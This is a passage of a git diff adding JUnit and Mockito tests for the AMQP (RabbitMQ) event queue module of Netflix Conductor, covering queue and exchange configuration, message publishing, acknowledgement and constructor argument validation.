when(properties.isUseExchange()).thenReturn(true); + } + + @Test + public void testAMQPEventQueueProvider_defaultconfig_exchange() { + String exchangestring = + "amqp_exchange:myExchangeName?exchangeType=topic&routingKey=test&deliveryMode=2"; + AMQPEventQueueProvider eventqProvider = + new AMQPEventQueueProvider(properties, "amqp_exchange", true); + ObservableQueue queue = eventqProvider.getQueue(exchangestring); + assertNotNull(queue); + assertEquals(exchangestring, queue.getName()); + assertEquals(AMQPConstants.AMQP_EXCHANGE_TYPE, queue.getType()); + } + + @Test + public void testAMQPEventQueueProvider_defaultconfig_queue() { + String exchangestring = + "amqp_queue:myQueueName?deliveryMode=2&durable=false&autoDelete=true&exclusive=true"; + AMQPEventQueueProvider eventqProvider = + new AMQPEventQueueProvider(properties, "amqp_queue", false); + ObservableQueue queue = eventqProvider.getQueue(exchangestring); + assertNotNull(queue); + assertEquals(exchangestring, queue.getName()); + assertEquals(AMQPConstants.AMQP_QUEUE_TYPE, queue.getType()); + } +} diff --git a/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPObservableQueueTest.java b/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPObservableQueueTest.java new file mode 100644 index 0000000..af2b57b --- /dev/null +++ b/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPObservableQueueTest.java @@ -0,0 +1,983 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp; + +import java.io.IOException; +import java.lang.reflect.Field; +import java.time.Duration; +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Random; +import java.util.UUID; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +import org.apache.commons.lang3.RandomStringUtils; +import org.apache.commons.lang3.StringUtils; +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mockito; +import org.mockito.internal.stubbing.answers.DoesNothing; +import org.mockito.stubbing.OngoingStubbing; + +import com.netflix.conductor.contribs.queue.amqp.config.AMQPEventQueueProperties; +import com.netflix.conductor.contribs.queue.amqp.config.AMQPRetryPattern; +import com.netflix.conductor.contribs.queue.amqp.util.AMQPConstants; +import com.netflix.conductor.contribs.queue.amqp.util.AMQPSettings; +import com.netflix.conductor.contribs.queue.amqp.util.RetryType; +import com.netflix.conductor.core.events.queue.Message; + +import com.rabbitmq.client.AMQP; +import com.rabbitmq.client.AMQP.PROTOCOL; +import com.rabbitmq.client.AMQP.Queue.DeclareOk; +import com.rabbitmq.client.Address; +import com.rabbitmq.client.Channel; +import com.rabbitmq.client.Connection; +import com.rabbitmq.client.ConnectionFactory; +import com.rabbitmq.client.Consumer; +import com.rabbitmq.client.Envelope; +import com.rabbitmq.client.GetResponse; +import com.rabbitmq.client.impl.AMQImpl; +import rx.Observable; +import rx.observers.Subscribers; +import rx.observers.TestSubscriber; + +import static org.junit.Assert.assertArrayEquals; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyBoolean; +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.ArgumentMatchers.anyMap; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.atLeast; +import static org.mockito.Mockito.atLeastOnce; +import static org.mockito.Mockito.doAnswer; +import static org.mockito.Mockito.doNothing; +import static org.mockito.Mockito.doThrow; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +@SuppressWarnings({"rawtypes", "unchecked"}) +public class AMQPObservableQueueTest { + + final int batchSize = 10; + final int pollTimeMs = 500; + + Address[] addresses; + AMQPEventQueueProperties properties; + + @Before + public void setUp() { + properties = mock(AMQPEventQueueProperties.class); + when(properties.getBatchSize()).thenReturn(1); + when(properties.getPollTimeDuration()).thenReturn(Duration.ofMillis(100)); + when(properties.getHosts()).thenReturn(ConnectionFactory.DEFAULT_HOST); + when(properties.getUsername()).thenReturn(ConnectionFactory.DEFAULT_USER); + when(properties.getPassword()).thenReturn(ConnectionFactory.DEFAULT_PASS); + when(properties.getVirtualHost()).thenReturn(ConnectionFactory.DEFAULT_VHOST); + when(properties.getPort()).thenReturn(PROTOCOL.PORT); + when(properties.getConnectionTimeoutInMilliSecs()).thenReturn(60000); + when(properties.isUseNio()).thenReturn(false); + when(properties.isDurable()).thenReturn(true); + when(properties.isExclusive()).thenReturn(false); + when(properties.isAutoDelete()).thenReturn(false); + when(properties.getContentType()).thenReturn("application/json"); + when(properties.getContentEncoding()).thenReturn("UTF-8"); + when(properties.getExchangeType()).thenReturn("topic"); + when(properties.getDeliveryMode()).thenReturn(2); + when(properties.isUseExchange()).thenReturn(true); + addresses = new Address[] {new Address("localhost", PROTOCOL.PORT)}; + resetAMQPConnectionState(); + } + + private void resetAMQPConnectionState() { + AMQPConnection.setAMQPConnection(null); + clearStaticMap("availableChannelPool"); + clearStaticMap("subscriberReservedChannelPool"); + setStaticField("retrySettings", null); + } + + private void clearStaticMap(String fieldName) { + Object value = getStaticField(fieldName); + if (value instanceof Map map) { + map.clear(); + } + } + + private void setStaticField(String fieldName, Object value) { + try { + Field field = AMQPConnection.class.getDeclaredField(fieldName); + field.setAccessible(true); + field.set(null, value); + } catch (ReflectiveOperationException e) { + throw new RuntimeException("Failed to reset AMQPConnection field " + fieldName, e); + } + } + + private Object getStaticField(String fieldName) { + try { + Field field = AMQPConnection.class.getDeclaredField(fieldName); + field.setAccessible(true); + return field.get(null); + } catch (ReflectiveOperationException e) { + throw new RuntimeException("Failed to read AMQPConnection field " + fieldName, e); + } + } + + List buildQueue(final Random random, final int bound) { + final LinkedList queue = new LinkedList(); + for (int i = 0; i < bound; i++) { + AMQP.BasicProperties props = mock(AMQP.BasicProperties.class); + when(props.getMessageId()).thenReturn(UUID.randomUUID().toString()); + Envelope envelope = mock(Envelope.class); + when(envelope.getDeliveryTag()).thenReturn(random.nextLong()); + GetResponse response = mock(GetResponse.class); + when(response.getProps()).thenReturn(props); + when(response.getEnvelope()).thenReturn(envelope); + when(response.getBody()).thenReturn("{}".getBytes()); + when(response.getMessageCount()).thenReturn(bound - i); + queue.add(response); + } + return queue; + } + + Channel mockBaseChannel() throws IOException, TimeoutException { + Channel channel = mock(Channel.class); + when(channel.isOpen()).thenReturn(Boolean.TRUE); + /* + * doAnswer(invocation -> { when(channel.isOpen()).thenReturn(Boolean.FALSE); + * return DoesNothing.doesNothing(); }).when(channel).close(); + */ + return channel; + } + + Channel mockChannelForQueue( + Channel channel, + boolean isWorking, + boolean exists, + String name, + List queue) + throws IOException { + // queueDeclarePassive + final AMQImpl.Queue.DeclareOk queueDeclareOK = + new AMQImpl.Queue.DeclareOk(name, queue.size(), 1); + if (exists) { + when(channel.queueDeclarePassive(eq(name))).thenReturn(queueDeclareOK); + } else { + when(channel.queueDeclarePassive(eq(name))) + .thenThrow(new IOException("Queue " + name + " exists")); + } + // queueDeclare + OngoingStubbing declareOkOngoingStubbing = + when(channel.queueDeclare( + eq(name), anyBoolean(), anyBoolean(), anyBoolean(), anyMap())) + .thenReturn(queueDeclareOK); + if (!isWorking) { + declareOkOngoingStubbing.thenThrow( + new IOException("Cannot declare queue " + name), + new RuntimeException("Not working")); + } + // messageCount + when(channel.messageCount(eq(name))).thenReturn((long) queue.size()); + // basicGet + OngoingStubbing getResponseOngoingStubbing = + Mockito.when(channel.basicConsume(eq(name), anyBoolean(), any(Consumer.class))) + .thenReturn(name); + if (!isWorking) { + getResponseOngoingStubbing.thenThrow( + new IOException("Not working"), new RuntimeException("Not working")); + } + // basicPublish + if (isWorking) { + doNothing() + .when(channel) + .basicPublish( + eq(StringUtils.EMPTY), + eq(name), + any(AMQP.BasicProperties.class), + any(byte[].class)); + } else { + doThrow(new IOException("Not working")) + .when(channel) + .basicPublish( + eq(StringUtils.EMPTY), + eq(name), + any(AMQP.BasicProperties.class), + any(byte[].class)); + } + return channel; + } + + Channel mockChannelForExchange( + Channel channel, + boolean isWorking, + boolean exists, + String queueName, + String name, + String type, + String routingKey, + List queue) + throws IOException { + // exchangeDeclarePassive + final AMQImpl.Exchange.DeclareOk exchangeDeclareOK = new AMQImpl.Exchange.DeclareOk(); + if (exists) { + when(channel.exchangeDeclarePassive(eq(name))).thenReturn(exchangeDeclareOK); + } else { + when(channel.exchangeDeclarePassive(eq(name))) + .thenThrow(new IOException("Exchange " + name + " exists")); + } + // exchangeDeclare + OngoingStubbing declareOkOngoingStubbing = + when(channel.exchangeDeclare( + eq(name), eq(type), anyBoolean(), anyBoolean(), anyMap())) + .thenReturn(exchangeDeclareOK); + if (!isWorking) { + declareOkOngoingStubbing.thenThrow( + new IOException("Cannot declare exchange " + name + " of type " + type), + new RuntimeException("Not working")); + } + // queueDeclarePassive + final AMQImpl.Queue.DeclareOk queueDeclareOK = + new AMQImpl.Queue.DeclareOk(queueName, queue.size(), 1); + if (exists) { + when(channel.queueDeclarePassive(eq(queueName))).thenReturn(queueDeclareOK); + } else { + when(channel.queueDeclarePassive(eq(queueName))) + .thenThrow(new IOException("Queue " + queueName + " exists")); + } + // queueDeclare + when(channel.queueDeclare( + eq(queueName), anyBoolean(), anyBoolean(), anyBoolean(), anyMap())) + .thenReturn(queueDeclareOK); + // queueBind + when(channel.queueBind(eq(queueName), eq(name), eq(routingKey))) + .thenReturn(new AMQImpl.Queue.BindOk()); + // messageCount + when(channel.messageCount(eq(queueName))).thenReturn((long) queue.size()); + // basicGet + + OngoingStubbing getResponseOngoingStubbing = + Mockito.when(channel.basicConsume(eq(queueName), anyBoolean(), any(Consumer.class))) + .thenReturn(queueName); + + if (!isWorking) { + getResponseOngoingStubbing.thenThrow( + new IOException("Not working"), new RuntimeException("Not working")); + } + // basicPublish + if (isWorking) { + doNothing() + .when(channel) + .basicPublish( + eq(name), + eq(routingKey), + any(AMQP.BasicProperties.class), + any(byte[].class)); + } else { + doThrow(new IOException("Not working")) + .when(channel) + .basicPublish( + eq(name), + eq(routingKey), + any(AMQP.BasicProperties.class), + any(byte[].class)); + } + return channel; + } + + Connection mockGoodConnection(Channel channel) throws IOException { + Connection connection = mock(Connection.class); + when(connection.createChannel()).thenReturn(channel); + when(connection.isOpen()).thenReturn(Boolean.TRUE); + /* + * doAnswer(invocation -> { when(connection.isOpen()).thenReturn(Boolean.FALSE); + * return DoesNothing.doesNothing(); }).when(connection).close(); + */ return connection; + } + + Connection mockBadConnection() throws IOException { + Connection connection = mock(Connection.class); + when(connection.createChannel()).thenThrow(new IOException("Can't create channel")); + when(connection.isOpen()).thenReturn(Boolean.TRUE); + doThrow(new IOException("Can't close connection")).when(connection).close(); + return connection; + } + + ConnectionFactory mockConnectionFactory(Connection connection) + throws IOException, TimeoutException { + ConnectionFactory connectionFactory = mock(ConnectionFactory.class); + when(connectionFactory.newConnection(eq(addresses), Mockito.anyString())) + .thenReturn(connection); + return connectionFactory; + } + + void runObserve( + Channel channel, + AMQPObservableQueue observableQueue, + String queueName, + boolean useWorkingChannel, + int batchSize) + throws IOException { + + final List found = new ArrayList<>(batchSize); + TestSubscriber subscriber = TestSubscriber.create(Subscribers.create(found::add)); + rx.Observable observable = + observableQueue.observe().take(pollTimeMs * 2, TimeUnit.MILLISECONDS); + assertNotNull(observable); + observable.subscribe(subscriber); + subscriber.awaitTerminalEvent(); + subscriber.assertNoErrors(); + subscriber.assertCompleted(); + if (useWorkingChannel) { + verify(channel, atLeast(1)) + .basicConsume(eq(queueName), anyBoolean(), any(Consumer.class)); + doNothing().when(channel).basicAck(anyLong(), eq(false)); + doAnswer(DoesNothing.doesNothing()).when(channel).basicAck(anyLong(), eq(false)); + observableQueue.ack(Collections.synchronizedList(found)); + } else { + assertNotNull(found); + assertTrue(found.isEmpty()); + } + observableQueue.close(); + } + + @Test + public void + testGetMessagesFromExistingExchangeWithDurableExclusiveAutoDeleteQueueConfiguration() + throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + testGetMessagesFromExchangeAndCustomConfigurationFromURI( + channel, connection, true, true, true, true, true); + } + + @Test + public void testGetMessagesFromExistingExchangeWithDefaultConfiguration() + throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + testGetMessagesFromExchangeAndDefaultConfiguration(channel, connection, true, true); + } + + @Test + public void testPublishMessagesToNotExistingExchangeAndDefaultConfiguration() + throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + testPublishMessagesToExchangeAndDefaultConfiguration(channel, connection, false, true); + } + + @Test + public void testAckOnExchangeIsSkipped() throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + + final String name = RandomStringUtils.randomAlphabetic(30), + type = "topic", + routingKey = RandomStringUtils.randomAlphabetic(30); + AMQPRetryPattern retrySettings = null; + final AMQPSettings settings = + new AMQPSettings(properties) + .fromURI( + "amqp_exchange:" + + name + + "?exchangeType=" + + type + + "&routingKey=" + + routingKey); + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(connection), + addresses, + true, + settings, + retrySettings, + batchSize, + pollTimeMs); + List messages = new LinkedList<>(); + Message msg = new Message(); + msg.setId("0e3eef8f-ebb1-4244-9665-759ab5bdf433"); + msg.setPayload("Payload"); + msg.setReceipt("1"); + messages.add(msg); + List failedMessages = observableQueue.ack(messages); + assertNotNull(failedMessages); + assertTrue(failedMessages.isEmpty()); + verify(channel, never()).basicAck(anyLong(), anyBoolean()); + } + + @Test + public void testAckOnQueueCallsBasicAck() throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + + final String queueName = RandomStringUtils.randomAlphabetic(30); + AMQPSettings settings = new AMQPSettings(properties).fromURI("amqp_queue:" + queueName); + List queue = buildQueue(new Random(), batchSize); + channel = mockChannelForQueue(channel, true, true, queueName, queue); + doNothing().when(channel).basicAck(anyLong(), eq(false)); + + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(connection), + addresses, + false, + settings, + retrySettings, + batchSize, + pollTimeMs); + List messages = new LinkedList<>(); + Message msg = new Message(); + msg.setId("0e3eef8f-ebb1-4244-9665-759ab5bdf433"); + msg.setPayload("Payload"); + msg.setReceipt("1"); + messages.add(msg); + List failedMessages = observableQueue.ack(messages); + assertNotNull(failedMessages); + assertTrue(failedMessages.isEmpty()); + verify(channel, times(1)).basicAck(1L, false); + } + + private void testGetMessagesFromExchangeAndDefaultConfiguration( + Channel channel, Connection connection, boolean exists, boolean useWorkingChannel) + throws IOException, TimeoutException { + + final Random random = new Random(); + + final String name = RandomStringUtils.randomAlphabetic(30), + type = "topic", + routingKey = RandomStringUtils.randomAlphabetic(30); + final String queueName = String.format("bound_to_%s", name); + + final AMQPSettings settings = + new AMQPSettings(properties) + .fromURI( + "amqp_exchange:" + + name + + "?exchangeType=" + + type + + "&routingKey=" + + routingKey); + assertTrue(settings.isDurable()); + assertFalse(settings.isExclusive()); + assertFalse(settings.autoDelete()); + assertEquals(2, settings.getDeliveryMode()); + assertEquals(name, settings.getQueueOrExchangeName()); + assertEquals(type, settings.getExchangeType()); + assertEquals(routingKey, settings.getRoutingKey()); + assertEquals(queueName, settings.getExchangeBoundQueueName()); + + List queue = buildQueue(random, batchSize); + channel = + mockChannelForExchange( + channel, + useWorkingChannel, + exists, + queueName, + name, + type, + routingKey, + queue); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(connection), + addresses, + true, + settings, + retrySettings, + batchSize, + pollTimeMs); + + assertArrayEquals(addresses, observableQueue.getAddresses()); + assertEquals(AMQPConstants.AMQP_EXCHANGE_TYPE, observableQueue.getType()); + assertEquals( + AMQPConstants.AMQP_EXCHANGE_TYPE + + ":" + + name + + "?exchangeType=" + + type + + "&routingKey=" + + routingKey, + observableQueue.getName()); + assertEquals(name, observableQueue.getURI()); + assertEquals(batchSize, observableQueue.getBatchSize()); + assertEquals(pollTimeMs, observableQueue.getPollTimeInMS()); + assertEquals(queue.size(), observableQueue.size()); + + runObserve(channel, observableQueue, queueName, useWorkingChannel, batchSize); + + if (useWorkingChannel) { + verify(channel, atLeastOnce()) + .exchangeDeclare( + eq(name), + eq(type), + eq(settings.isDurable()), + eq(settings.autoDelete()), + eq(Collections.emptyMap())); + verify(channel, atLeastOnce()) + .queueDeclare( + eq(queueName), + eq(settings.isDurable()), + eq(settings.isExclusive()), + eq(settings.autoDelete()), + anyMap()); + + verify(channel, atLeastOnce()).queueBind(eq(queueName), eq(name), eq(routingKey)); + } + } + + private void testGetMessagesFromExchangeAndCustomConfigurationFromURI( + Channel channel, + Connection connection, + boolean exists, + boolean useWorkingChannel, + boolean durable, + boolean exclusive, + boolean autoDelete) + throws IOException, TimeoutException { + + final Random random = new Random(); + + final String name = RandomStringUtils.randomAlphabetic(30), + type = "topic", + routingKey = RandomStringUtils.randomAlphabetic(30); + final String queueName = String.format("bound_to_%s", name); + + final AMQPSettings settings = + new AMQPSettings(properties) + .fromURI( + "amqp_exchange:" + + name + + "?exchangeType=" + + type + + "&bindQueueName=" + + queueName + + "&routingKey=" + + routingKey + + "&deliveryMode=2" + + "&durable=" + + durable + + "&exclusive=" + + exclusive + + "&autoDelete=" + + autoDelete); + assertEquals(durable, settings.isDurable()); + assertEquals(exclusive, settings.isExclusive()); + assertEquals(autoDelete, settings.autoDelete()); + assertEquals(2, settings.getDeliveryMode()); + assertEquals(name, settings.getQueueOrExchangeName()); + assertEquals(type, settings.getExchangeType()); + assertEquals(queueName, settings.getExchangeBoundQueueName()); + assertEquals(routingKey, settings.getRoutingKey()); + + List queue = buildQueue(random, batchSize); + channel = + mockChannelForExchange( + channel, + useWorkingChannel, + exists, + queueName, + name, + type, + routingKey, + queue); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(connection), + addresses, + true, + settings, + retrySettings, + batchSize, + pollTimeMs); + + assertArrayEquals(addresses, observableQueue.getAddresses()); + assertEquals(AMQPConstants.AMQP_EXCHANGE_TYPE, observableQueue.getType()); + assertEquals( + AMQPConstants.AMQP_EXCHANGE_TYPE + + ":" + + name + + "?exchangeType=" + + type + + "&bindQueueName=" + + queueName + + "&routingKey=" + + routingKey + + "&deliveryMode=2" + + "&durable=" + + durable + + "&exclusive=" + + exclusive + + "&autoDelete=" + + autoDelete, + observableQueue.getName()); + assertEquals(name, observableQueue.getURI()); + assertEquals(batchSize, observableQueue.getBatchSize()); + assertEquals(pollTimeMs, observableQueue.getPollTimeInMS()); + assertEquals(queue.size(), observableQueue.size()); + + runObserve(channel, observableQueue, queueName, useWorkingChannel, batchSize); + + if (useWorkingChannel) { + verify(channel, atLeastOnce()) + .exchangeDeclare( + eq(name), + eq(type), + eq(settings.isDurable()), + eq(settings.autoDelete()), + eq(Collections.emptyMap())); + verify(channel, atLeastOnce()) + .queueDeclare( + eq(queueName), + eq(settings.isDurable()), + eq(settings.isExclusive()), + eq(settings.autoDelete()), + anyMap()); + + verify(channel, atLeastOnce()).queueBind(eq(queueName), eq(name), eq(routingKey)); + } + } + + private void testPublishMessagesToExchangeAndDefaultConfiguration( + Channel channel, Connection connection, boolean exists, boolean useWorkingChannel) + throws IOException, TimeoutException { + final Random random = new Random(); + + final String name = RandomStringUtils.randomAlphabetic(30), + type = "topic", + routingKey = RandomStringUtils.randomAlphabetic(30); + + final String queueName = String.format("bound_to_%s", name); + + final AMQPSettings settings = + new AMQPSettings(properties) + .fromURI( + "amqp_exchange:" + + name + + "?exchangeType=" + + type + + "&routingKey=" + + routingKey + + "&deliveryMode=2&durable=true&exclusive=false&autoDelete=true"); + assertTrue(settings.isDurable()); + assertFalse(settings.isExclusive()); + assertTrue(settings.autoDelete()); + assertEquals(2, settings.getDeliveryMode()); + assertEquals(name, settings.getQueueOrExchangeName()); + assertEquals(type, settings.getExchangeType()); + assertEquals(routingKey, settings.getRoutingKey()); + + List queue = buildQueue(random, batchSize); + channel = + mockChannelForExchange( + channel, + useWorkingChannel, + exists, + queueName, + name, + type, + routingKey, + queue); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(connection), + addresses, + true, + settings, + retrySettings, + batchSize, + pollTimeMs); + + assertArrayEquals(addresses, observableQueue.getAddresses()); + assertEquals(AMQPConstants.AMQP_EXCHANGE_TYPE, observableQueue.getType()); + assertEquals( + AMQPConstants.AMQP_EXCHANGE_TYPE + + ":" + + name + + "?exchangeType=" + + type + + "&routingKey=" + + routingKey + + "&deliveryMode=2&durable=true&exclusive=false&autoDelete=true", + observableQueue.getName()); + assertEquals(name, observableQueue.getURI()); + assertEquals(batchSize, observableQueue.getBatchSize()); + assertEquals(pollTimeMs, observableQueue.getPollTimeInMS()); + assertEquals(queue.size(), observableQueue.size()); + + List messages = new LinkedList<>(); + Observable.range(0, batchSize) + .forEach((Integer x) -> messages.add(new Message("" + x, "payload: " + x, null))); + assertEquals(batchSize, messages.size()); + observableQueue.publish(messages); + + if (useWorkingChannel) { + verify(channel, times(batchSize)) + .basicPublish( + eq(name), + eq(routingKey), + any(AMQP.BasicProperties.class), + any(byte[].class)); + } + } + + @Test + public void testGetMessagesFromExistingQueueAndDefaultConfiguration() + throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + testGetMessagesFromQueueAndDefaultConfiguration(channel, connection, true, true); + } + + @Test + public void testGetMessagesFromNotExistingQueueAndDefaultConfiguration() + throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + testGetMessagesFromQueueAndDefaultConfiguration(channel, connection, false, true); + } + + @Test + public void testGetMessagesFromQueueWithBadChannel() throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + testGetMessagesFromQueueAndDefaultConfiguration(channel, connection, true, false); + } + + @Test(expected = RuntimeException.class) + public void testPublishMessagesToQueueWithBadChannel() throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + testPublishMessagesToQueueAndDefaultConfiguration(channel, connection, true, false); + } + + @Test(expected = IllegalArgumentException.class) + public void testAMQPObservalbleQueue_empty() throws IOException, TimeoutException { + AMQPSettings settings = new AMQPSettings(properties).fromURI("amqp_queue:test"); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + null, addresses, false, settings, retrySettings, batchSize, pollTimeMs); + } + + @Test(expected = IllegalArgumentException.class) + public void testAMQPObservalbleQueue_addressEmpty() throws IOException, TimeoutException { + AMQPSettings settings = new AMQPSettings(properties).fromURI("amqp_queue:test"); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(mockGoodConnection(mockBaseChannel())), + null, + false, + settings, + retrySettings, + batchSize, + pollTimeMs); + } + + @Test(expected = IllegalArgumentException.class) + public void testAMQPObservalbleQueue_settingsEmpty() throws IOException, TimeoutException { + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(mockGoodConnection(mockBaseChannel())), + addresses, + false, + null, + retrySettings, + batchSize, + pollTimeMs); + } + + @Test(expected = IllegalArgumentException.class) + public void testAMQPObservalbleQueue_batchsizezero() throws IOException, TimeoutException { + AMQPSettings settings = new AMQPSettings(properties).fromURI("amqp_queue:test"); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(mockGoodConnection(mockBaseChannel())), + addresses, + false, + settings, + retrySettings, + 0, + pollTimeMs); + } + + @Test(expected = IllegalArgumentException.class) + public void testAMQPObservalbleQueue_polltimezero() throws IOException, TimeoutException { + AMQPSettings settings = new AMQPSettings(properties).fromURI("amqp_queue:test"); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(mockGoodConnection(mockBaseChannel())), + addresses, + false, + settings, + retrySettings, + batchSize, + 0); + } + + @Test + public void testclosetExistingQueueAndDefaultConfiguration() + throws IOException, TimeoutException { + // Mock channel and connection + Channel channel = mockBaseChannel(); + Connection connection = mockGoodConnection(channel); + testGetMessagesFromQueueAndDefaultConfiguration_close(channel, connection, false, true); + } + + private void testGetMessagesFromQueueAndDefaultConfiguration( + Channel channel, Connection connection, boolean queueExists, boolean useWorkingChannel) + throws IOException, TimeoutException { + final Random random = new Random(); + + final String queueName = RandomStringUtils.randomAlphabetic(30); + AMQPSettings settings = new AMQPSettings(properties).fromURI("amqp_queue:" + queueName); + + List queue = buildQueue(random, batchSize); + channel = mockChannelForQueue(channel, useWorkingChannel, queueExists, queueName, queue); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(connection), + addresses, + false, + settings, + retrySettings, + batchSize, + pollTimeMs); + + assertArrayEquals(addresses, observableQueue.getAddresses()); + assertEquals(AMQPConstants.AMQP_QUEUE_TYPE, observableQueue.getType()); + assertEquals(AMQPConstants.AMQP_QUEUE_TYPE + ":" + queueName, observableQueue.getName()); + assertEquals(queueName, observableQueue.getURI()); + assertEquals(batchSize, observableQueue.getBatchSize()); + assertEquals(pollTimeMs, observableQueue.getPollTimeInMS()); + assertEquals(queue.size(), observableQueue.size()); + + runObserve(channel, observableQueue, queueName, useWorkingChannel, batchSize); + } + + private void testGetMessagesFromQueueAndDefaultConfiguration_close( + Channel channel, Connection connection, boolean queueExists, boolean useWorkingChannel) + throws IOException, TimeoutException { + final Random random = new Random(); + + final String queueName = RandomStringUtils.randomAlphabetic(30); + AMQPSettings settings = new AMQPSettings(properties).fromURI("amqp_queue:" + queueName); + + List queue = buildQueue(random, batchSize); + channel = mockChannelForQueue(channel, useWorkingChannel, queueExists, queueName, queue); + AMQPRetryPattern retrySettings = null; + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(connection), + addresses, + false, + settings, + retrySettings, + batchSize, + pollTimeMs); + observableQueue.close(); + assertArrayEquals(addresses, observableQueue.getAddresses()); + assertEquals(AMQPConstants.AMQP_QUEUE_TYPE, observableQueue.getType()); + assertEquals(AMQPConstants.AMQP_QUEUE_TYPE + ":" + queueName, observableQueue.getName()); + assertEquals(queueName, observableQueue.getURI()); + assertEquals(batchSize, observableQueue.getBatchSize()); + assertEquals(pollTimeMs, observableQueue.getPollTimeInMS()); + assertEquals(queue.size(), observableQueue.size()); + } + + private void testPublishMessagesToQueueAndDefaultConfiguration( + Channel channel, Connection connection, boolean queueExists, boolean useWorkingChannel) + throws IOException, TimeoutException { + final Random random = new Random(); + + final String queueName = RandomStringUtils.randomAlphabetic(30); + final AMQPSettings settings = + new AMQPSettings(properties) + .fromURI( + "amqp_queue:" + + queueName + + "?deliveryMode=2&durable=true&exclusive=false&autoDelete=true"); + assertTrue(settings.isDurable()); + assertFalse(settings.isExclusive()); + assertTrue(settings.autoDelete()); + assertEquals(2, settings.getDeliveryMode()); + + List queue = buildQueue(random, batchSize); + channel = mockChannelForQueue(channel, useWorkingChannel, queueExists, queueName, queue); + AMQPRetryPattern retrySettings = new AMQPRetryPattern(3, 5, RetryType.REGULARINTERVALS); + AMQPObservableQueue observableQueue = + new AMQPObservableQueue( + mockConnectionFactory(connection), + addresses, + false, + settings, + retrySettings, + batchSize, + pollTimeMs); + + assertArrayEquals(addresses, observableQueue.getAddresses()); + assertEquals(AMQPConstants.AMQP_QUEUE_TYPE, observableQueue.getType()); + assertEquals( + AMQPConstants.AMQP_QUEUE_TYPE + + ":" + + queueName + + "?deliveryMode=2&durable=true&exclusive=false&autoDelete=true", + observableQueue.getName()); + assertEquals(queueName, observableQueue.getURI()); + assertEquals(batchSize, observableQueue.getBatchSize()); + assertEquals(pollTimeMs, observableQueue.getPollTimeInMS()); + assertEquals(queue.size(), observableQueue.size()); + + List messages = new LinkedList<>(); + Observable.range(0, batchSize) + .forEach((Integer x) -> messages.add(new Message("" + x, "payload: " + x, null))); + assertEquals(batchSize, messages.size()); + observableQueue.publish(messages); + + if (useWorkingChannel) { + verify(channel, times(batchSize)) + .basicPublish( + eq(StringUtils.EMPTY), + eq(queueName), + any(AMQP.BasicProperties.class), + any(byte[].class)); + } + } +} diff --git a/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPSettingsTest.java b/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPSettingsTest.java new file mode 100644 index 0000000..28e5cea --- /dev/null +++ b/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPSettingsTest.java @@ -0,0 +1,159 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

